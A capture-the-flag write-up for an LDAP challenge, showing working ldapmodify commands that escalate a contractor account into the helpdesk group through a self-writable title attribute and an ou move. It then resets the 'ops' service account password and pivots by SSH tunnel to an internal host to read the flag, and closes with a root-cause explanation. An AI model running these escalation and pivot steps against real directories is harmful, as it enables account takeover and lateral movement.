Self-service
Abuse LDAP attribute-driven group "provisioning" → reset `ops`'s password → pivot
NNS{a_J0B_t17le_1s_Not_an_aCce5s_CoNtro1_b0unDary_4ND_aPPar3n71Y_tHeR3_are_4c7Ual_0r65_th47_D0_5tUPiD_5hi7_l1Ke_7H1s} Author: 0xle
Points: 103
Flag: NNS{a_J0B_t17le_1s_Not_an_aCce5s_CoNtro1_b0unDary_4ND_aPPar3n71Y_tHeR3_are_4c7Ual_0r65_th47_D0_5tUPiD_5hi7_l1Ke_7H1s}
Description
You are our brand new contractor at NNS corp! You have been given a user account:
ereid:Summer2026. Welcome on board!SSH is exposed over TLS:
ssh -o ProxyCommand='openssl s_client -quiet -connect %h:%p' ereid@HOST -p 1337
Recon
Logging in drops into a PowerShell 7.4.6 session with a custom module already loaded:
Directory self-service loaded. Get-Command -Module SelfService
Get-Module SelfService | Format-List * dumps the full module source
(/opt/corp/SelfService.psm1). It talks to an LDAP directory at
ldap://dir:3389, base dc=corp,dc=nns, and exports three functions:
Get-MyDn— finds your own DN vialdapsearch (uid=$env:USER) dn.Get-MyDirectoryEntry [-RightsOnly]— searches your own DN with OpenLDAP’s Get Effective Rights control (1.3.6.1.4.1.42.2.27.9.5.2), showing exactly which attributes you can read/write on yourself.Set-MyDirectoryAttribute -Name X -Value Y— runsldapmodifyto replace one attribute on your own entry, authenticated as yourself.
Rather than fight PowerShell/PSReadLine over the SSH pipe (it crashes with a
DivideByZeroException when the remote pty reports 0x0 dimensions from a
non-interactive script), it’s much easier to skip the module entirely and
run ldapsearch/ldapmodify/ldapwhoami directly as a non-interactive
SSH command (ssh ... "ldapsearch ..."), using our own known password —
this avoids Get-Credential’s secure prompt altogether.
Mapping the directory
ldapsearch -x -LLL -H ldap://dir:3389 -D <ereid-dn> -w Summer2026 \
-b dc=corp,dc=nns '(objectClass=*)' dn uid cn
Structure:
ou=staff— permanent employees (dhale,agrant,rkeller,mfaris,bwhitby,cnovak,pdelgado, and the service accountops).ou=contractors—jmarsh,swalsh, and us (ereid).ou=groups—helpdesk,all-staff,vpn-users,onboarding-agents(groupOfNames, membership via a staticmemberattribute).
Our own entry (via Get-MyDirectoryEntry -RightsOnly) shows
attributeLevelRights including title:rscwo, displayName:rscwo,
description:rscwo, etc. — a normal “self-service HR fields” ACL — plus
memberOf: cn=vpn-users, memberOf: cn=onboarding-agents.
Dumping every aci attribute in the tree (readable by anyone per an
“Access rule review” ACI) gives the full rule set. The interesting ones:
aci: (targetattr="userPassword")(...)
allow (write) groupdn = "ldap:///cn=helpdesk,ou=groups,dc=corp,dc=nns";
# on uid=ops,ou=staff — helpdesk members can reset the ops password
aci: (targetattr="member")(...)
deny (write) userdn = "ldap:///anyone";
# nobody can add themselves to a group's member list directly
aci: (targetattr="uid")(targattrfilters="add=uid:(!(uid=ops)), del=uid:(!(uid=ops))")(...)
allow (write) groupdn = "ldap:///cn=onboarding-agents,...";
# onboarding-agents can rewrite the uid (naming attribute) of an
# onboarding entry, EXCEPT they're explicitly blocked from ever
# adding/removing the literal value "ops" — closing the obvious
# "just claim uid=ops on myself" trick
aci: (target_from="ldap:///ou=contractors,...")(target_to="ldap:///ou=staff,...")(...)
allow (moddn) groupdn = "ldap:///cn=onboarding-agents,...";
# onboarding-agents can MODDN (move) an entry from contractors to staff
We (ereid) are a member of cn=onboarding-agents
(“Contractor onboarding coordinators. May move contractor accounts into
ou=staff when they convert to permanent.”) — so we hold both of the last
two rights on our own account.
Also worth noting: our own entry already had pre-seeded, subtyped
uid;x-temp: ops / uid;lang-en: ops values and a second plain
uid: test999 — a hint/red herring pointing straight at the (correctly
blocked) uid-collision idea, before finding the actual bug.
The actual bug: attribute-driven group “provisioning”
cn=helpdesk’s description reads: “First-line IT support. Members are
provisioned automatically from HR attributes.” Checking its three real
members’ title:
agrant -> Platform Engineer
cnovak -> Platform Engineer
pdelgado -> Platform Engineer
Every other staff member has a different exact title (IT Manager,
Site Reliability Engineer, HR Advisor, even Senior Platform Engineer
for bwhitby — close but not an exact match, and not a helpdesk member).
ou=staff’s own description: “Permanent employees. Synced from HR.”
So: membership in helpdesk is derived automatically from title == "Platform Engineer", but only re-evaluated for entries under ou=staff.
We can freely write our own title (self-service ACI), and separately we
can moddn ourselves from ou=contractors into ou=staff (onboarding
ACI). Neither alone breaks anything — combined, they do:
# 1. Set our title to match the helpdesk pattern
$dn = "uid=ereid,ou=contractors,dc=corp,dc=nns"
$ldif = "dn: $dn`nchangetype: modify`nreplace: title`ntitle: Platform Engineer`n"
$ldif | ldapmodify -x -H ldap://dir:3389 -D $dn -w Summer2026
# 2. Move ourselves from contractors to staff (uses the onboarding-agents moddn right)
$ldif2 = "dn: $dn`nchangetype: modrdn`nnewrdn: uid=ereid`ndeleteoldrdn: 0`nnewsuperior: ou=staff,dc=corp,dc=nns`n"
$ldif2 | ldapmodify -x -H ldap://dir:3389 -D $dn -w Summer2026
Querying our own memberOf immediately afterward (no waiting — it’s a
live directory-side trigger, not a cron job):
dn: uid=ereid,ou=staff,dc=corp,dc=nns
memberOf: cn=helpdesk,ou=groups,dc=corp,dc=nns
We’re in helpdesk. The “membership set by provisioning only” ACI that
blocks direct writes to member says nothing about how the provisioning
process itself decides membership — and that process trusts a
self-writable HR attribute.
Cashing in: reset ops’s password
$dn = "uid=ereid,ou=staff,dc=corp,dc=nns" # now a helpdesk member
$opsdn = "uid=ops,ou=staff,dc=corp,dc=nns"
$ldif = "dn: $opsdn`nchangetype: modify`nreplace: userPassword`nuserPassword: HackedByEreid123!`n"
$ldif | ldapmodify -x -H ldap://dir:3389 -D $dn -w Summer2026
Succeeds — confirmed instantly with ldapwhoami -D $opsdn -w 'HackedByEreid123!'.
Pivoting to the flag
ops’s gecos reads “Operations service account (backup/restore on
srv2)”, and /etc/hosts on the jump box lists an internal host srv2
(172.20.29.22) not reachable from outside. Direct ssh ops@<jump> fails —
the jump box’s sshd apparently isn’t meant for interactive ops logins —
but from inside the jump box we can reach srv2 directly:
# proxy_to_jump.sh: authenticate to the TLS-wrapped jump host as ereid,
# then -W forwards a raw TCP stream to srv2:22 (handled by sshd itself,
# independent of ereid's PowerShell login shell)
exec sshpass -p 'Summer2026' ssh -o StrictHostKeyChecking=no \
-o 'ProxyCommand=openssl s_client -quiet -connect <chall-host>:1337' \
ereid@HOST -p 1337 -W srv2:22
sshpass -p 'HackedByEreid123!' ssh -o "ProxyCommand=./proxy_to_jump.sh" \
ops@srv2 "cat /home/ops/flag.txt"
(The very first attempt or two after the password reset got Permission denied — looks like nslcd’s cache on srv2 needed a few seconds/one
retry to pick up the new userPassword — a couple of retries and it went
through.)
uid=5010(ops) gid=5000(corp) groups=5000(corp)
NNS{a_J0B_t17le_1s_Not_an_aCce5s_CoNtro1_b0unDary_4ND_aPPar3n71Y_tHeR3_are_4c7Ual_0r65_th47_D0_5tUPiD_5hi7_l1Ke_7H1s}
Root cause / takeaway
- Directory ACLs correctly locked down the direct privilege-escalation
paths people usually reach for (can’t add yourself to a group’s
memberlist, can’t rename yourself to the protecteduid=opsidentity). - But a downstream automated process re-derived group membership from
a self-writable, free-text attribute (
title) with no validation that the writer is actually authorized to hold that job title. Whoever wrote that sync trusted HR-looking data that, per the ACIs, literally anyone can self-service edit. - Lesson (per the flag): a job title is not an access control boundary. Any authorization decision derived from attacker-writable directory attributes is only as strong as the ACL on that attribute — not on whatever group/role it happens to map to downstream.